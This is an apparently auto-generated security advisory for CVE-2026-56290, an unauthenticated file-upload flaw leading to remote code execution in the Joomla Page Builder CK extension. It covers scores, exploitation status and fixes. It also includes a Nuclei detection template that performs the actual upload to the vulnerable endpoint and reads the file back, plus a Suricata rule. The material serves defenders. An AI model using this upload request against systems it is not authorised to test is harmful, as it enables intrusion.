VULNpocalypse

CVE-2026-56290: Joomlack Page Builder Improper Access Control Vulnerability

Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.

Generated by VEDAS. Scores as of 2026-11-01 19:19 UTC. Rebuilt every few hours from cve-scores, CISA KEV and vedas-signatures. How this works and its limits.

What it is

Joomla Extension - joomlack.fr - Unauthenticated file upload in Page Builder CK extension < 3.6.0 - The Joomla extension Page Builder CK is vulnerable to an unauthenticated arbitrary file upload that allows uploading executable files and leads to full RCE.

Description quoted from the CVE record (assigned by Joomla, published 2026-06-29).

Weakness: CWE-434: Unrestricted Upload of File with Dangerous Type

How it can be exploited

Exploitable over the network with low attack complexity with no special attack requirements needing no privileges and no user interaction. Impact: confidentiality high, integrity high, availability high. CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:A/AU:Y/U:Red

CISA assessment (SSVC): CISA assesses exploitation as active. Automatable: yes. Technical impact: total.

On CISA KEV since
2026-07-07
US federal deadline
2026-07-10
Ransomware use
Not known

Public exploit evidence (Exploit Observer)

Also known as: BDU:2026-09466, EDB-52626, EUVD-2026-40121, GHSA-gxrr-wfg5-xqqf

VEDAS cluster: VEDAS:FOXTROTT

Exploit Observer links 11 pieces of public exploit code or detection modules that name this CVE or one of its aliases.

Exploit code and modules (11)

Code that names this CVE. A repository can be a working exploit, a scanner, a fake or malware; read it before running anything.

Vulnerability databases and vendor advisories (4)

Catalogue entries, not exploit evidence.

12 more references returned by Exploit Observer did not name this CVE or an alias, so they are left out.

VEDAS data as of 2026-11-01T17:12 UTC; fetched 2026-11-02.

Live scores

EPSS
0.309
likely to be attacked soon
VEDAS
0.978
strong exploit evidence
On CISA KEV
Yes, since 2026-07-07
Detection rule
Nuclei · Suricata
EPSS (chance of attack)
100.1CVE-2026-56290 EPSS over time2026-082026-11-01
VEDAS (exploit evidence)
100.9CVE-2026-56290 VEDAS over time2026-082026-11-01

Thin horizontal line: the “likely” (EPSS 0.10) or “strong” (VEDAS 0.90) threshold. Shaded “no data” areas are periods when cve-scores did not publish.

Who is affected

ProductAffectedNot affected
joomlack.fr JoomlaCK.fr Page Builder CK extension for Joomlaversion 1.0-3.6.0Not stated

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

Exploit Observer also maps it to: cedric_keiflin pagebuilder_ck, joomlack page_builder_ck.

How to fix it

CISA required action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset’s internet exposure and ensuring adherence to BOD 26-04 patching guidelines.

Vendor guidance:

How to detect it

Nuclei template (active check)

Joomla - Arbitrary File Upload

Joomla Extension - joomlack.fr - Unauthenticated file upload in Page Builder CK extension < 3.6.0 - The Joomla extension Page Builder CK is vulnerable to an unauthenticated arbitrary file upload that allows uploading executable files and leads to full RCE.

Name and description quoted from the template, written by VEDAS.

The template sends 5 requests (GET /, POST /index.php?option=com_pagebuilderck&task=browse.ajaxAddPicture&{{cs..., GET /media/com_pagebuilderck/gfonts/{{marker}}.txt, GET / and 1 more); it decides using dsl, regex matchers. Severity in the template: critical. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

bash
nuclei -u https://your-host -t CVE-2026-56290.yaml
Show the template (86 lines)
yaml
id: CVE-2026-56290

info:
  name: "Joomla - Arbitrary File Upload"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    Joomla Extension - joomlack.fr - Unauthenticated file upload in Page Builder CK extension < 3.6.0 - The Joomla
    extension Page Builder CK is vulnerable to an unauthenticated arbitrary file upload that allows uploading
    executable files and leads to full RCE.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-56290&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=joomla&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-56290
    cwe-id: CWE-434
  metadata:
    verified: false
  tags: cve,cve2026,joomla,pagebuilderck,file-upload,rce,intrusive,kev,vkev
variables:
  marker: "{{to_lower(rand_base(8))}}"

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "csrf")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: csrf_token
        group: 1
        internal: true
        regex:
          - 'name="([a-f0-9]{32})"\s+value="1"'
          - 'csrf\.token"\s*:\s*"([a-f0-9]{32})"'

  - raw:
      - |
        POST /index.php?option=com_pagebuilderck&task=browse.ajaxAddPicture&{{csrf_token}}=1 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryPBCK
        Referer: {{BaseURL}}/
        Origin: {{BaseURL}}

        ------WebKitFormBoundaryPBCK
        Content-Disposition: form-data; name="path"

        media/com_pagebuilderck/gfonts/
        ------WebKitFormBoundaryPBCK
        Content-Disposition: form-data; name="file"; filename="{{marker}}.txt"
        Content-Type: text/plain

        CVE-2026-56290-{{marker}}
        ------WebKitFormBoundaryPBCK--

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        GET /media/com_pagebuilderck/gfonts/{{marker}}.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "CVE-2026-56290-{{marker}}")'
        condition: and

CVE-2026-56290.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2026-56290 Joomla - Arbitrary File Upload. Add them to your Suricata rule set and reload.

Show the rules
suricata
alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2026-56290 Joomla - Arbitrary File Upload"; flow:established,to_server; http.uri; content:"index.php"; nocase; fast_pattern; classtype:web-application-attack; reference:cve,CVE-2026-56290; reference:url,https://www.exploit.observer/?keyword=CVE-2026-56290&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=joomla&match=exact; sid:1011623; rev:1;)

CVE-2026-56290.rules on GitHub

References

Vendor advisories and patches

Exploits and technical analysis

Government sources

Other references

Other databases

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, CISA KEV, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.